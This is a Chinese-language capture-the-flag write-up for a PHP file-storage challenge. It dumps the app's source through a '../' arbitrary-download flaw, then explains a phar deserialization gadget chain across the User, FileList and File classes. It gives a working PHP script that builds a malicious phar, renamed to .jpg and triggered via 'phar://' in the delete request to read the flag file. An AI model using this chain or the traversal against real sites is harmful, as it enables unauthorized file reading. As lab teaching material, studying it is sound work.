进入页面随便注册一个账号,登录。
随便上传一个图片。
用burpsuite拦截下载
页面,里面有任意文件下载文件,可以下载源码。
用../../index.php
格式把index.php,download.php, delete.php下载,打开发现用到class.php,也下了。
#index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
#download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
#delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
#class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;#files[File对象]
private $results;#resules[filename][function]存function方法执行后的结果
private $funcs;#funciton
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);# $file = true or false
array_push($this->files, $file);# 把File对象加入到files数组
$this->results[$file->name()] = array(); #results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) { #file就是每个我们上传文件的File对象
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
重点是class.php。
留意到File类的close()方法里有file_get_contents(),可以用来读取flag.txt。
怎么读取?
得先看看User类,他有销毁时自动调用的魔术方法 __destruct() {$this->db->close()
;}。调用db变量的close()方法。此时如果db是FileList对象,则因为FileList类没有close()方法,会自动调用__call($func, $args
)方法。
__call() 当所调用的成员方法不存在(或者没有权限)该类时调用有。两个参数,
第一个参数是,调用这个不存在的方法的方法名,
第二个参数是,调用这个不存在的方法的方法参数(调用这个函数时的参数)
public function __call($func, $args) {
array_push($this->funcs, $func);#$funcs成员变量存放这个不存在的方法的方法名
foreach ($this->files as $file) { #file就是每个我们上传文件的File对象
$this->results[$file->name()][$func] = $file->$func();#results成员变量是个二维数组,
#一维存放我们上传的文件名,
#二维存放对应文件在调用不存在的方法后的结果,每个方法对应一个结果
}
}
最后一步有$file->$func()
,即调用File对象($file
存的是File对象,后文解释)里与这个不存在的方法名相同名字的方法。
因为这个方法名来自User类的close()方法,所以就调用了File对象的close() {return file_get_contents($this->filename)
;}。此时如果filename是flag.txt即可以读取里面的内容。
读取后怎么回显呢?
由FileList对象销毁时自动调用的魔术方法 __destruct()实现,里面输出了$table
变量,$table
变量里有成员变量存有刚刚读出flag.txt的信息。即这一句:
为什么?此时就要看FileList的成员变量存了什么。
精简了下创建时自动调用的魔术方法__construct
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);#返回我们上传文件的所有文件名
foreach ($filenames as $filename) {
$file = new File();
array_push($this->files, $file);# 把File对象加入到files数组
$this->results[$file->name()] = array(); #results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组。
(这个数组在__call方法里存放调用不存在的方法后的结果。)
具体看前文的__call方法代码的注释
}
}
所以此时,$filename
对应我们上传的文件名,$result
(一维数组)对应文件下所有调用不存在方法的结果(即成员变量$results
的第二维),$value
对应单个结果的具体值。所以根据__add最后一行的$this->results[$file->name()][$func] = $file->$func();
。$value
可以存放读取flag.txt的结果。
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
说了这么多,页面里我们可操作的就只有上传,下载,删除。因为要调用__destruct,所以只能删除。
但删除操作又怎么能回显flag呢?从最初的解题思路来看,问题就是怎么上传一个有User对象,User对象的db又是Filelist对象,而filename怎么赋值为flag.txt(怎么把对象保存到file成员变量里)等等,这里用的是phar伪协议。里面有个字段(meta-data)用来保存信息,它是序列化后的信息。而phar://伪协议可以让php一些函数自动反序列化这个字段信息,包括file_get_contents()。
payload:
在运行前要把php.ini里的phar字段里的phar.readonly改为phar.readonly = off
把前面的分号去掉,还要重启本地服务器(phpenv等等)。
<?php
//phpinfo();
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$file = new File();
$file->filename = '/flag.php';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");#删除phar.phar
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();#提高性能,好像不必要
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
运行后在同一路径下得到phar.phar文件,改后缀为jpg上传,点删除用burpsuite拦截,把filename=phar://phar.jpg
,即可得到flag。
疑问
1.为什么任意文件下载不能直接把flag.txt下了?(或许是文件权限问题?)
2.flag文件为什么是txt。